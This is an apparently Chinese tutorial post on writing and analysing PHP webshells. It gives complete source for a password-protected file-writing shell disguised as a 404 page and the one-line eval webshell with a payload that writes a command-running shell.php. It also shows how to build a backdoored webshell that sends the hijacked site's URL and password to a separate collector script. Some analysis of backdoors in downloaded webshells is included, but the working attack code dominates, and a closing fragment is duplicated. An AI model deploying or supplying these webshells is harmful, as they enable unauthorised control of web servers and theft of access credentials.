PHP小马,大马实现分析编写
2022-07-28 14:58:37
182
{{single.collect_count}}

PHP工具开发

PHP小马

  • 简单隐藏
  • 登陆密码
  • 实现写入文件
<?php$pass = '14e1b600b1fd579f47433b88e8d85291'; #123456$get = $_GET['pass'];if (!empty($get)) {if (md5(md5($get))) {if (!empty($_POST)) {$path=$_POST['filepath'];$content=$_POST['filecontent'];# 文件写入$statement=fopen($path,"w");# fopen('文件路径','打开模式')if(fwrite($statement,$content))# fwrite('文件路径','文件内容'),成功返回字符数,失败返回false{echo '<font color="red">success</font><br/>';}else{echo '<font color="red">error!</font><br/>';}}echo '服务器ip:' . $_SERVER['HTTP_HOST'] . '' . gethostbyname($_SERVER['HTTP_HOST']) . '<br/>';echo '绝对路径:' . $_SERVER['SCRIPT_FILENAME'] . '<br/>';echo '当前目录:' . __DIR__ . '<br/>';echo '<form action="" method="post">';echo '文件路径 <br/><input type="text" name="filepath" value="' . $_SERVER['SCRIPT_FILENAME'] . '"><br/>';echo '文件内容 <br/><textarea name="filecontent" id="filecontent"></textarea><br/>';echo '<input type="submit" value="submit">';echo '</form>';} else {echo 'password is worry';}} else {?><!--第二部分-404报错界面--> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN\"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL <?php echo($_SERVER['REQUEST_URI']); ?> was not found on this server.</p></body><?php}?><!-- else 的结束右括号 -->

image-20210315142257578

image-20210315142639553

一句话木马

原理分析

eval:把字符串当作 php 代码执行

<?php @eval($_POST['aa'])?>?aa=fwrite(fopen('shell.php','w'),'<?php system('ls');?>')

assert:同 eval

抓包分析

使用 WSExploer 抓包工具可以更具软件进程进行网络抓包

image-20210315145804448

原始:

image-20210315150211332

base64解密后

image-20210315144929707

一句话木马变形写法

https://mp.weixin.qq.com/s/YH_LWRNb3T2QapWKlzybAg

正则

image-20210315152338146

file_get_contents() 可以直接访问 url

PHP大马分析

网上的大马大都有后门,大马下载网站存在搜索引擎优化 seo

使用大马应先抓包看有没有后门

案例1:

这个大马回首先下载 404.gif,下载部分未后门一部分

image-20210315154432050

使用 wireshark 抓包后看到后门会将 shell 的信息发送给远程服务器

image-20210315154318577

案例二:

抓包结果

image-20210315155059885

大马代码,这个大马会首先请求远程服务器,下载大马

image-20210315155225289

首先解密 ascii

echo $get 即可,不要总想着看到加密后的就只想逆向解密,直接换成输出,简单高效

$get=file_get_contents()

$unzip=gzinflate

解密大马源码,找到后门,登陆时传输数据到后台

image-20210315161757427

实现大马后门

image-20210315171708952

前端大马 shell.php

<?php$pass = 'admin';if (empty($_POST)) {echo '<form action="" method="post">';echo 'password <input type="text" name="password" >';echo '<input type="submit" value="submit">';echo '</form>';} else {$password=$_POST['password'];echo $password;if ($password == $pass) {$url = 'http://localhost/demo/audit/dama/box.php';$path='?url='.$_SERVER['HTTP_REFERER'].'&password='.$password;echo$path;file_get_contents($url.$path);}else{echo 'pass worry';}}

后端箱子 box.php

<?phpif (!empty($_GET)) {$url=$_GET['url'];$f=fopen('data.txt','w');fwrite($f,$url);fwrite($f,'\r\n');fclose($f);}

data.txt

http://localhost/demo/audit/dama/shell.php\r\n

编写大马

大马出现问题的修复

大部分是引用传参的问题导致的

  1. PHP版本问题
    1. 函数过期
    2. 函数用法变化
  2. 系统环境不支持

漏洞框架实战

fclose($f);

}

data.txt

http://localhost/demo/audit/dama/shell.php\r\n

#### 编写大马大马出现问题的修复大部分是引用传参的问题导致的1. PHP版本问题 1. 函数过期 2. 函数用法变化2. 系统环境不支持### 漏洞框架实战
回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}